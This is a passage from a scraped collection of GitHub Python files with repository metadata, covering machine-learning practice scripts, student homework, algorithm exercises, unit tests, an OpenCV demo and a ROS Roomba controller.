sklearn的metrics模組查看相關指標\nprint('Precision: %.3f' % precision_score(y_true=y_test, y_pred=y_pred))\nprint('Recall: %.3f' % recall_score(y_true=y_test, y_pred=y_pred))\nprint('F1: %.3f' % f1_score(y_true=y_test, y_pred=y_pred))\n\n#預設是使用標籤為1的當正類  可以透過make_scorer建立自己的計分器(scorer)\nscorer = make_scorer(f1_score, pos_label=0)\nc_gamma_range = [0.01, 0.1, 1.0, 10.0]\nparam_grid = [{'clf__C': c_gamma_range, 'clf__kernel': ['linear']}, {'clf__C': c_gamma_range, 'clf__gamma': c_gamma_range, 'clf__kernel': ['rbf']}]\ngs = GridSearchCV(estimator=pipe_svc, param_grid=param_grid, scoring=scorer, cv=10, n_jobs=1)\ngs = gs.fit(X_train, y_train)\nprint(gs.best_score_)\nprint(gs.best_params_)\n\n#接收操作特徵圖 (Receiver operating characteristic,ROC)\n'''\nROC圖是選擇分類模型的有用工具，可以基於模型效能(假陽率,真陽率)來選擇\n其對角線可以被解釋��隨機猜測  低於對角線 表示比隨機猜還差的模型\n好的ROC模型應該要落在真陽率1 假陽率為0的部分\n'''\n#繪製ROC曲線圖\npipe_lr = Pipeline([('scl', StandardScaler()), ('pca', PCA(n_components=2)), ('clf', LogisticRegression(penalty='l2', random_state=0, C=100.0))])\n\nX_train2 = X_train[:, [4, 14]]\n\n\ncv = list(StratifiedKFold(n_splits=3, random_state=1).split(X_train, y_train))\n\nfig = plt.figure(figsize=(7, 5))\n\nmean_tpr = 0.0\nmean_fpr = np.linspace(0, 1, 100)\nall_tpr = []\n\nfor i, (train, test) in enumerate(cv):\n    probas = pipe_lr.fit(X_train2[train],\n                         y_train[train]).predict_proba(X_train2[test])\n\n    fpr, tpr, thresholds = roc_curve(y_train[test], probas[:, 1], pos_label=1)\n    mean_tpr += interp(mean_fpr, fpr, tpr)\n    mean_tpr[0] = 0.0\n    roc_auc = auc(fpr, tpr)\n    plt.plot(fpr, tpr, lw=1, label='ROC fold %d (area = %0.2f)' % (i+1, roc_auc))\n\nplt.plot([0, 1], [0, 1], linestyle='--', color=(0.6, 0.6, 0.6), label='random guessing')\n\nmean_tpr /= len(cv)\nmean_tpr[-1] = 1.0\nmean_auc = auc(mean_fpr, mean_tpr)\nplt.plot(mean_fpr, mean_tpr, 'k--', label='mean ROC (area = %0.2f)' % mean_auc, lw=2)\nplt.plot([0, 0, 1], [0, 1, 1], lw=2, linestyle=':', color='black', label='perfect performance')\n\nplt.xlim([-0.05, 1.05])\nplt.ylim([-0.05, 1.05])\nplt.xlabel('false positive rate')\nplt.ylabel('true positive rate')\nplt.title('Receiver Operator Characteristic')\nplt.legend(loc=\"lower right\")\n\nplt.tight_layout()\nplt.show()\n\n#曲線下面積(Area under curve,AUC)\n\n\npipe_lr = pipe_lr.fit(X_train2, y_train)\ny_labels = pipe_lr.predict(X_test[:, [4, 14]])\ny_probas = pipe_lr.predict_proba(X_test[:, [4, 14]])[:, 1]\n\nprint('ROC AUC: %.3f' % roc_auc_score(y_true=y_test, y_score=y_probas))\nprint('Accuracy: %.3f' % accuracy_score(y_true=y_test, y_pred=y_labels))\n\n#加權宏觀平均\npre_scorer = make_scorer(score_func=precision_score, pos_label=1, greater_is_better=True,  average='micro')","repo_name":"playerlove1/python_practice","sub_path":"book_machine_learning/ch6_test_sample.py","file_name":"ch6_test_sample.py","file_ext":"py","file_size_in_byte":12626,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"31219746543","text":"#Hw_六都PM輸出\ndict1 = {\n    \"高雄市\":9, \"新北市\":5,\n    \"台北市\":4, \"台南市\":8,\n    \"台中市\":6, \"桃園市\":7\n}\ncity = input(\"輸入要查詢的六都名稱:\")\ncheck = dict1.get(city)\nif check == None:\n    print(\"六都中沒有 \"+str(city)+\" 城市!\")\nelse:\n    print(str(city) + \" 今天的 PM2.5 值為 : \"\n          + str(dict1[city]))\n\n#Hw_生肖個性輸出顯示\ndict2 = {\n    \"鼠\":\"親切和藹\",\n    \"牛\":\"保守努力\",\n    \"虎\":\"熱情大膽\",\n    \"兔\":\"溫柔仁慈\"\n}\nfor animal, Traits in dict2.items():\n    print(\"屬\",animal,\"特質為 :\",Traits)\n\n#Hw_排序\nnumb_box = []\nfor i in range(1, 11):\n    numb_box.append(int(input(\"請輸入共 10 個數字\")))\nprint(\"你的數列 :\", numb_box)\nnumb_box.sort(reverse=True)\nprint(\"最大的 3 個數字為 : \",end=\"\")\nfor i in range(0, 3):\n    print(numb_box[i],end=\" \")\nprint(\" \")\nprint(\"最小的 3 個數字為 : \",end=\"\")\nfor i in range(9, 6, -1):\n    print(numb_box[i],end=\" \")\n","repo_name":"WangHow0219/Python-class_grade-1","sub_path":"上學期/作業/Hw_資料處存容器.py","file_name":"Hw_資料處存容器.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4989801449","text":"from environs import Env\n\nfrom utils.print_common import print_env_info\n\nenv = Env()\nenv.read_env()\n\nPROJECT_NAME = env.str(\"PROJECT_NAME\", None)\nPROJECT_PORT = env.int(\"PROJECT_PORT\", 8102)\nENVIRONMENT = env.str(\"ENVIRONMENT\", \"local\")\nDEBUG = env.bool(\"DEBUG\", False)\nMONGO_DB = env.str(\"MONGO_DB\", \"booksDB\")\n\n\n# LOGGING / SENTRY\nHOME = env.str(\"HOME\", None)\nLOG_FILE = HOME + '/' + env.str(\"LOG_FILE\", 'books.log')\nLOG_LEVEL = env.str(\"LOG_LEVEL\", \"info\")\nLOG_SIZE_MB = env.int(\"LOG_SIZE_MB\", 10)  # max log size in MB, will rotate\nLOG_RETENTION = env.int(\"LOG_RETENTION\", 3)  # number of file to keep\n\nif ENVIRONMENT == \"local\" and DEBUG:\n    print_env_info(PROJECT_NAME, PROJECT_PORT, ENVIRONMENT, DEBUG, LOG_LEVEL, MONGO_DB)\n\n# COLLECTIONS\nCOLLECTION_USERS = \"users\"\n","repo_name":"yogeshhole/books","sub_path":"bookstore/src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36136977767","text":"budget = float(input())\nprice_kg_flour = float(input())\nprice_pack_eggs = price_kg_flour * 0.75\nprice_milk = (price_kg_flour * 1.25) / 4\nbread = price_milk + price_pack_eggs + price_kg_flour\nexpenses = 0\nloaves_made = 0\ngathered_eggs = 0\n\nwhile expenses + bread < budget:\n    loaves_made += 1\n    gathered_eggs += 3\n    expenses += bread\n    if loaves_made % 3 == 0:\n        gathered_eggs -= loaves_made - 2\n\nprint(f\"You made {loaves_made} loaves of Easter bread! \"\n      f\"Now you have {gathered_eggs} eggs and {(budget - expenses):.2f}BGN left.\")\n","repo_name":"yordanraychev/software-university-python","sub_path":"02_programming_fundamentals_with_python/01_basic_syntax_conditional_statements_and_loops_exercise/11_easter_bread.py","file_name":"11_easter_bread.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5429828910","text":"import math\n\ndef insertShiftList(myList, number):\n    position = math.ceil(len(myList) / 2)\n\n    newList = [None]*(len(myList) + 1)\n    newList[position] = number\n\n    for index,i in enumerate(myList):\n\n        if newList[index] == None:\n           newList[index]=(i)\n           index += 1\n\n        else:\n            newList[index+1]=(i)\n\n    myList = newList\n    return myList\n\nif __name__ == \"__main__\":\n    myList = [1, 2, 3, 5, 6, 7]\n    print(insertShiftList(myList, 4))\n\n\n\n\n","repo_name":"feras98nawafleh/data-structures-and-algorithms","sub_path":"python/code_challenges/insertShiftList /insertShiftList.py","file_name":"insertShiftList.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26154678475","text":"import time\nimport zipfile\nfrom io import BytesIO\nfrom pathlib import Path\n\nimport pytest\nfrom ingraph.engine.core import gethash, package_zip\n\n\ndef test_package_zip(tmpdir):\n    path = Path(tmpdir.mkdir(\"package\"))\n    (path / \"foo.txt\").write_text(\"foo\")\n    (path / \"bar\").mkdir()\n    (path / \"bar\" / \"baz.txt\").write_text(\"baz\")\n    (path / \".qux\").touch()\n\n    pack_file = package_zip(path / \"foo.txt\")\n    with zipfile.ZipFile(pack_file.name, \"r\") as zip_file:\n        assert zipfile.Path(zip_file, \"foo.txt\").is_file()\n\n    pack_dir = package_zip(path)\n    h1 = gethash(Path(pack_dir.name))\n\n    with zipfile.ZipFile(pack_dir.name, \"r\") as zip_file:\n        assert zipfile.Path(zip_file, \"foo.txt\").is_file()\n        assert zipfile.Path(zip_file, \"bar/\").is_dir()\n        assert zipfile.Path(zip_file, \"bar/baz.txt\").is_file()\n        assert not zipfile.Path(zip_file, \".qux\").exists()\n\n    time.sleep(1)\n    (path / \"foo.txt\").touch()\n\n    pack_dir = package_zip(path)\n    h2 = gethash(Path(pack_dir.name))\n\n    assert h1 == h2\n\n    pack_dir = package_zip(path, [path / \"bar\" / \"baz.txt\"])\n    with zipfile.ZipFile(pack_dir.name, \"r\") as zip_file:\n        assert not zipfile.Path(zip_file, str(path / \"foo.txt\")).exists()\n        assert zipfile.Path(zip_file, str(path / \"bar\" / \"baz.txt\")).is_file()\n\n\ndef test_gethash_blob():\n    h = gethash(BytesIO(b\"foo\"))\n\n    assert h == \"0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33\"\n","repo_name":"lifadev/archive_ingraph","sub_path":"tests/unit/engine/test_packager.py","file_name":"test_packager.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"79"}
+{"seq_id":"34967048450","text":"from collections import deque\nn,m,start = map(int,input().split())\na = [[] for _ in range(n+1)]\ncheck = [False] * (n+1)\nfor _ in range(m):\n    u,v = map(int,input().split())\n    a[u].append(v)\n    a[v].append(u)\nfor i in range(n):\n    a[i].sort()\n\nprint(a)\nprint(check)\n\n#input example:\n# 4 5 1 (number of vertices, edges, and starting vertex)\n# 1 2\n# 1 3\n# 1 4\n# 2 4\n# 3 4\n\n# starting vertex will be used when dfs or bfs is used.","repo_name":"kizarrd/algorithm_with_python","sub_path":"dfs_and_bfs/adjacency_list.py","file_name":"adjacency_list.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"358369246","text":"#!/usr/bin/env python3\nimport rospy\nimport json\nfrom std_msgs.msg import String\nfrom roomba980.msg import Mission\nfrom roomba980.srv import Command\nimport subprocess\nimport os\nimport time\nimport ipfshttpclient\nimport yaml\n\n\nclass CommandSender:\n    def __init__(self):\n        rospy.init_node(\"robonomics_listener\", anonymous=False)\n        self.file = None\n        self.write = False\n        config_path = rospy.get_param(\"~config\")\n\n        try:\n            with open(config_path) as f:\n                content = f.read()\n                self.config = yaml.load(content, Loader=yaml.FullLoader)\n                rospy.logdebug(f\"Configuration dict: {content}\")\n        except Exception as e:\n            while True:\n                rospy.logerr(\"Configuration file is broken or not readable!\")\n                rospy.logerr(e)\n                rospy.sleep(5)\n\n        self.ipfsclient = ipfshttpclient.connect()\n\n    # Call service send_command\n    def send_command_client(self, command):\n        rospy.wait_for_service('send_command')\n        try:\n            send_command = rospy.ServiceProxy('send_command', Command)\n            resp = send_command(command)\n            return resp\n        except rospy.ServiceException as e:\n            print(\"Service call failed: %s\"%e)\n\n    def listener(self, data):\n        if self.write:\n            time.sleep(1)\n            self.file.write('\\n')\n            self.file.write(str(data))\n\n\n    def clean(self, duration):\n        dirname = os.path.dirname(__file__)\n        print(dirname)\n        first_time = time.time()\n        self.send_command_client('Start')\n        self.file = open(dirname + \"/data\", 'w')\n        self.write = True\n        while (time.time() - first_time) < duration:\n            rospy.Subscriber('/roomba/mission', Mission, self.listener)\n        self.write = False\n        print('Work done')\n        time.sleep(1)\n        self.file.close()\n        self.send_command_client('Stop')\n        time.sleep(2)\n        self.send_command_client('Home')\n        res = self.ipfsclient.add(dirname + \"/data\")\n        os.remove(dirname + \"/data\")\n        print('Data sent to IPFS')\n        command = \"echo \\\"Hash: \" + res['Hash'] + \"\\\" | \" + self.config[\"path\"][\"robonomics\"] + \"robonomics io write datalog -s \" + self.config[\"robonomics\"][\"roomba_key\"]\n        send_datalog = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\n        print('Hash sent to datalog')\n\n    def spin(self):\n        work_paid = True\n        proc = self.config[\"path\"][\"robonomics\"] + \"robonomics io read launch\"\n        #process = subprocess.Popen(proc, shell=True, stdout=subprocess.PIPE)\n        while True:\n            time.sleep(4)\n            process = subprocess.Popen(proc, shell=True, stdout=subprocess.PIPE)\n            if work_paid:\n                print(\"Waiting for payment\")\n            try:\n                output = process.stdout.readline()\n                #print(output.strip())\n                #print(\"b\\'\" + self.config[\"robonomics\"][\"work_address\"] + \" >> \" + self.config[\"robonomics\"][\"roomba_address\"] + \" : true\" + \"\\'\")\n                if str(output.strip()) == \"b\\'\" + self.config[\"robonomics\"][\"work_address\"] + \" >> \" + self.config[\"robonomics\"][\"roomba_address\"] + \" : true\" + \"\\'\":\n                    print(\"Work paid\")\n                    work_paid = True\n                    self.clean(300)\n                else:\n                    work_paid = False\n\n            except KeyboardInterrupt:\n                exit()\n            #process.kill()\n        rospy.spin()\n\n\nif __name__ == \"__main__\":\n    #while True:\n    CommandSender().spin()\n\n","repo_name":"LoSk-p/roomba980","sub_path":"scripts/send_command_client.py","file_name":"send_command_client.py","file_ext":"py","file_size_in_byte":3608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"13784820992","text":"from django.contrib.auth.models import AnonymousUser\nfrom django.test import TestCase\nfrom portal.models import ClientOrg, User\n\n\nclass ClientOrgModelTest(TestCase):\n    \"\"\"\n    Testing the custom visible_to method in Client Org models\n    \"\"\"\n\n    fixtures = [\"clientorg_model_test.json\"]\n\n    def test_visible_to(self):\n        # Check only returned orgs IDs\n        def transform(org):\n            return str(org.id)\n\n        published_orgs = [\n            \"e80a1f60-bbf6-4460-b9e7-d3800cb19d64\",\n            \"ec91e33d-30c9-4847-8a1a-67dc171af8b2\",\n        ]\n\n        # Anonymous users should see only orgs with at least one published project\n        with self.subTest(\"Anonymous user\"):\n            user = AnonymousUser()\n            self.assertQuerysetEqual(\n                ClientOrg.objects.visible_to(user),\n                published_orgs,\n                transform,\n                ordered=False,\n            )\n\n        # Authenticated users with no project relationships should see only orgs with at least one published project\n        with self.subTest(\"Authenticated user with no org relationships\"):\n            user = User.objects.get(id=\"6e7577db-978f-4e5f-8e00-c0124e4383d2\")\n            self.assertQuerysetEqual(\n                ClientOrg.objects.visible_to(user),\n                published_orgs,\n                transform,\n                ordered=False,\n            )\n\n        # Students should see only published projects and unpublished projects they are a student of\n        with self.subTest(\"Student with unpublished orgs\"):\n            user = User.objects.get(id=\"8e89c832-baf7-47a9-b12c-e61aad851724\")\n\n            unpublished_orgs_user_is_a_student_of = [\n                \"372b2e02-957b-4952-844d-ea9d8f06164f\"\n            ]\n\n            self.assertQuerysetEqual(\n                ClientOrg.objects.visible_to(user),\n                published_orgs + unpublished_orgs_user_is_a_student_of,\n                transform,\n                ordered=False,\n            )\n\n        # TAs should see only published orgs and unpublished orgs they are a TA of\n        with self.subTest(\"TA with unpublished orgs\"):\n            user = User.objects.get(id=\"a8e3ea40-6569-4f37-8221-9cca7e26ea7e\")\n            unpublished_orgs_user_is_a_ta_of = [\"372b2e02-957b-4952-844d-ea9d8f06164f\"]\n            self.assertQuerysetEqual(\n                ClientOrg.objects.visible_to(user),\n                published_orgs + unpublished_orgs_user_is_a_ta_of,\n                transform,\n                ordered=False,\n            )\n\n        # Client reps should see only published orgs and unpublished orgs they are a client rep of\n        with self.subTest(\"Client rep with unpublished orgs\"):\n            user = User.objects.get(id=\"5f8aa24d-5326-4d94-887c-fa09cf77db3e\")\n            unpublished_orgs_user_is_a_client_rep_of = [\n                \"372b2e02-957b-4952-844d-ea9d8f06164f\"\n            ]\n            self.assertQuerysetEqual(\n                ClientOrg.objects.visible_to(user),\n                published_orgs + unpublished_orgs_user_is_a_client_rep_of,\n                transform,\n                ordered=False,\n            )\n\n        # Users should see only published projects and unpublished projects they are a student, TA, or client rep of\n        with self.subTest(\n            \"User that is a student, TA, and orgs of unpublished projects\"\n        ):\n            user = User.objects.get(id=\"9b3bbac2-abaf-4e78-8b7e-e8e331767ccb\")\n            unpublished_orgs_user_is_a_student_or_ta_or_client_rep_of = [\n                \"3e521e77-10a7-4c01-a830-3932274b9ce4\",\n                \"f3a08ff2-ca7b-471a-8374-30867d91ec49\",\n                \"e7b164bd-f702-48ef-97d3-47eea858f40d\",\n            ]\n\n            self.assertQuerysetEqual(\n                ClientOrg.objects.visible_to(user),\n                published_orgs\n                + unpublished_orgs_user_is_a_student_or_ta_or_client_rep_of,\n                transform,\n                ordered=False,\n            )\n\n        # Admins should see all orgs (published and unpublished)\n        with self.subTest(\"Admin\"):\n            user = User.objects.get(id=\"b7a0b0df-078c-4866-ac17-577b5432c353\")\n            self.assertQuerysetEqual(\n                ClientOrg.objects.visible_to(user),\n                ClientOrg.objects.all(),\n                ordered=False,\n            )\n","repo_name":"open-uofa/capstone-projects-portal","sub_path":"backend/portal/tests/test_clientorg_model.py","file_name":"test_clientorg_model.py","file_ext":"py","file_size_in_byte":4320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"23320679994","text":"class Solution:\n    def majorityElement(self, nums: List[int]) -> int:\n        counter = {}\n        n = len(nums)\n        \n        for ele in nums:\n            if ele in counter:\n                counter[ele] += 1\n            else:\n                counter[ele] = 1\n        \n        for ele, count in counter.items():\n            if count > n // 2:\n                return ele\n","repo_name":"DEENUU1/LeetCode-roadmap","sub_path":"Python/Leetcode/Majority element.py","file_name":"Majority element.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"17704551893","text":"__all__ = ('__title__', '__summary__', '__uri__', '__version_info__',\n           '__version__', '__author__', '__maintainer__', '__email__',\n           '__copyright__', '__license__')\n\n__title__        = \"jtypes.jython\"\n__summary__      = \"Java Embedded Python (ctypes/cffi-based Jython)\"\n__uri__          = \"http://pypi.python.org/pypi/jtypes.jython/\"\n__version_info__ = type(\"version_info\", (), dict(serial=3,\n                        major=0, minor=0, micro=3, releaselevel=\"alpha\"))\n__version__      = \"{0.major}.{0.minor}.{0.micro}{1}{2}\".format(__version_info__,\n                   dict(final=\"\", alpha=\"a\", beta=\"b\", rc=\"rc\")[__version_info__.releaselevel],\n                   \"\" if __version_info__.releaselevel == \"final\" else __version_info__.serial)\n__author__       = \"Adam Karpierz\"\n__maintainer__   = \"Adam Karpierz\"\n__email__        = \"adam@karpierz.net\"\n__copyright__    = \"Copyright 2015-2018 {0}\".format(__author__)\n__license__      = \"Apache License, Version 2.0 ; {0}\".format(\n                   \"http://www.apache.org/licenses/LICENSE-2.0\")\n","repo_name":"karpierz/jtypes.jython","sub_path":"src/jt/jython/__about__.py","file_name":"__about__.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"27685514438","text":"def check(getal):\n    zelfde_getallen = 0\n    laatste_getal = 0\n    zelfde_twee = 0\n    for char in str(getal):\n        if int(char) < laatste_getal:\n            return False\n        elif laatste_getal == int(char):\n            zelfde_getallen += 1\n        elif laatste_getal < int(char):\n            if zelfde_getallen == 2:\n                zelfde_twee += 1\n            zelfde_getallen = 1\n        laatste_getal = int(char)\n    if zelfde_twee >= 1:\n        return True\n\nlage_getal = 183564\nhoge_getal = 657474\naantal_opties = 0\nopties_list = []\nfor x in range(lage_getal, hoge_getal):\n    if check(x):\n        aantal_opties+=1\nprint(aantal_opties)\n","repo_name":"Gijs1508/adventofcode","sub_path":"dag4/dag4.py","file_name":"dag4.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"33103674782","text":"from __future__ import print_function\nimport cv2 as cv\nimport numpy as np\nimport argparse\nimport random as rng\n\n\ndef thresh_callback(val):\n    threshold = val\n\n    canny_output = cv.Canny(src_gray, threshold, threshold * 2)\n\n    contours, _ = cv.findContours(canny_output, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)\n\n    # Найдите многоточие конца повернутого прямоугольника для каждого контура\n    minRect = [None] * len(contours)\n    minEllipse = [None] * len(contours)\n    for i, c in enumerate(contours):\n        minRect[i] = cv.minAreaRect(c)\n        if c.shape[0] > 5:\n            minEllipse[i] = cv.fitEllipse(c)\n    # Draw contours + rotated rects + ellipses\n\n    drawing = np.zeros((canny_output.shape[0], canny_output.shape[1], 3), dtype=np.uint8)\n\n    for i, c in enumerate(contours):\n        color = (rng.randint(0, 256), rng.randint(0, 256), rng.randint(0, 256))\n        # contour\n        cv.drawContours(drawing, contours, i, color)\n        # ellipse\n        if c.shape[0] > 5:\n            cv.ellipse(drawing, minEllipse[i], color, 2)\n        # rotated rectangle\n        box = cv.boxPoints(minRect[i])\n        box = np.intp(box)  # np.intp: Integer used for indexing (same as C ssize_t; normally either int32 or int64)\n        cv.drawContours(drawing, [box], 0, color)\n\n    cv.imshow('Contours', drawing)\n\n\nif __name__ == '__main__':\n    rng.seed(12345)\n    src = cv.imread('photo_2021-10-22_17-22-15.jpg')\n    # Convert image to gray and blur it\n    src_gray = cv.cvtColor(src, cv.COLOR_BGR2GRAY)\n    src_gray = cv.blur(src_gray, (3, 3))\n\n    source_window = 'Source'\n    cv.namedWindow(source_window)\n    cv.imshow(source_window, src)\n\n    max_thresh = 255\n    thresh = 100  # initial threshold\n    cv.createTrackbar('Canny Thresh:', source_window, thresh, max_thresh, thresh_callback)\n\n    thresh_callback(thresh)\n    cv.waitKey()\n","repo_name":"Fedor2005/network","sub_path":"photo.py","file_name":"photo.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"6011146007","text":"#!/usr/bin/env python\nimport badge\nimport os\nimport public\nimport readme_badges.github\nimport readme_badges.npm\nimport readme_badges.pypi\nimport shields\nimport github_repo\n\n\nclass Language(shields.Badge):\n    subject = \"language\"\n    color = \"blue\"\n    longCache = True\n\n\n@public.add\ndef language(text):\n    \"\"\"language badge\"\"\"\n    if text:\n        return str(Language(status=text))\n    return \"\"\n\n\nclass Travis(badge.Badge):\n    def __init__(self, fullname=None):\n        if not fullname:\n            fullname = github_repo.fullname()\n            if not fullname:\n                owner = os.popen(\"git config user.name\").read().strip()\n                repo = os.path.basename(os.getcwd())\n                fullname = \"%s/%s\" % (owner, repo)\n        self.fullname = fullname\n\n    title = \"Travis\"\n    image = \"https://api.travis-ci.org/{fullname}.svg?branch={branch}\"\n    link = \"https://travis-ci.org/{fullname}/\"\n\n\n@public.add\ndef travis(fullname=None):\n    \"\"\"travis status badge\"\"\"\n    return str(Travis(fullname))\n","repo_name":"Carven12/alispider","sub_path":"venv/Lib/site-packages/readme_badges/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"34638050776","text":"import os\nimport openpyxl\nFilePath = os.getcwd()+\"\\Resources\\Data.xlsx\"\nSheet = openpyxl.load_workbook(FilePath)\nActiveSheet = Sheet.active\ncolumnCount = ActiveSheet.max_column\nrowCount = ActiveSheet.max_row\n\ndef TestData(Scenario , columnName):\n    for i in range(1, rowCount+1):\n        column_name = ActiveSheet.cell(row = i, column = 1)\n        if column_name.value == Scenario:\n            break\n    for k in range(1, columnCount+1):\n        row_value = ActiveSheet.cell(row = 1, column=k)\n        if row_value.value == columnName:\n            break\n    value = ActiveSheet.cell(row = i, column = k).value\n    return value\n","repo_name":"sandeepsingh8406/ForAnkit","sub_path":"ExcelLoad.py","file_name":"ExcelLoad.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"40705878398","text":"#coin 0\n\nN, K = map(int,(input('').split()))\ncoins = [[],[]]\nfor i in range(N):\n    coin = int(input(''))\n    if coin <= K:\n        coins[0].append(coin)\n        coins[1].append(0)\n\nif N==1:\n    print(K)\nelse:\n    j = -1\n    while K>0:\n        while K>=coins[0][j]:\n            count = K//coins[0][j]\n            K -= coins[0][j]*count\n            coins[1][j] += count\n        j -= 1\n    print(sum(coins[1]))\n","repo_name":"JaeHeee/algorithm","sub_path":"baekjoon_python/11047.py","file_name":"11047.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"26897018951","text":"import unittest\nimport unit_db_test.testcase as dbtest\n\nclass CheckIntegrityOfDB(dbtest.DBintegrityTest):\n    db_config_file = \".env\"\n\n    def test_reward_not_gt_than_max(self):\n        \"\"\" After the last update to v2.0.0 the rewards must never exceed the f_max_reward \"\"\"\n        sql_query = \"\"\"\n        select *\n        from t_validator_rewards_summary\n        where (f_status = 1 or f_status = 3) and abs(f_reward) > abs(f_max_reward)\n        \"\"\"\n        df = self.db.get_df_from_sql_query(sql_query)\n        self.assertNoRows(df)\n\n    def test_unpersisted_queries_for_validator_duties(self):\n        \"\"\" There shouldn't be less proposer duties than the 32 slots per epoch, if so, there were some DB queries lost on the way \"\"\"\n        sql_query = \"\"\"\n        select f_proposer_slot/32 as epoch, count(*)\n        from t_proposer_duties\n        group by f_proposer_slot/32\n        having count(*) < 32\n        \"\"\"\n        df = self.db.get_df_from_sql_query(sql_query)\n        self.assertNoRows(df)\n\n    def test_weird_error_tracking_validator_duties(self):\n        \"\"\" We could expect less that 32 duties/epoch because some queries were lost, but if we have more, there is something weird going on \"\"\"\n        sql_query = \"\"\"\n        select f_proposer_slot/32 as epoch, count(*)\n        from t_proposer_duties\n        group by f_proposer_slot/32\n        having count(*) > 32\n        \"\"\"\n        df = self.db.get_df_from_sql_query(sql_query)\n        self.assertNoRows(df)\n        \n    def test_experimental_block_reward(self):\n        \"\"\" We are manually calculating the block_rewards and we want to make sure it matches the block_api_reward\"\"\"\n        sql_query = \"\"\"\n        select *\n\t\tfrom t_validator_rewards_summary\n\t\twhere f_block_api_reward > 0 and f_block_api_reward != f_block_experimental_reward\n        \"\"\"\n        df = self.db.get_df_from_sql_query(sql_query)\n        self.assertNoRows(df)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"migalabs/goteth","sub_path":"tests/db_validator_test.py","file_name":"db_validator_test.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"79"}
+{"seq_id":"37250589541","text":"import unittest\nfrom ResoFit.calibration import Calibration\nimport numpy as np\nimport os\nfrom ResoFit._utilities import Layer\n\n\nclass TestCalibration(unittest.TestCase):\n    database = '_data_for_unittest'\n\n    def setUp(self):\n        _file_path = os.path.dirname(__file__)\n        self.folder = os.path.abspath(os.path.join(_file_path, '../../ResoFit/data/_mock_data_for_test'))\n        self.data_file = os.path.join(self.folder, '_data_calibration_fitting_test.txt')\n        self.spectra_file = os.path.join(self.folder, '_spectra_calibration_fitting_test.txt')\n\n        energy_min = 7\n        energy_max = 150\n        energy_step = 0.01\n\n        layer_1 = 'U'\n        thickness_1 = 0.075\n        density_1 = None\n        layer = Layer()\n        layer.add_layer(layer=layer_1, thickness_mm=thickness_1, density_gcm3=density_1)\n\n        self.calibration = Calibration(data_file=self.data_file,\n                                       spectra_file=self.spectra_file,\n                                       layer=layer,\n                                       energy_min=energy_min,\n                                       energy_max=energy_max,\n                                       energy_step=energy_step,\n                                       folder=self.folder,\n                                       database=self.database)\n\n    source_to_detector_m = 16.\n    offset_us = 0\n\n    def test_vary_tag(self):\n        \"\"\"assert vary to be one of ['source_to_detector', 'offset', 'all']\"\"\"\n        data_file = self.data_file\n        spectra_file = self.spectra_file\n        self.assertRaises(ValueError, self.calibration.calibrate,\n                          source_to_detector_m=self.source_to_detector_m,\n                          offset_us=self.offset_us,\n                          vary='tag_not_exist')\n","repo_name":"ornlneutronimaging/ResoFit","sub_path":"tests/ResoFit/test_calibration.py","file_name":"test_calibration.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
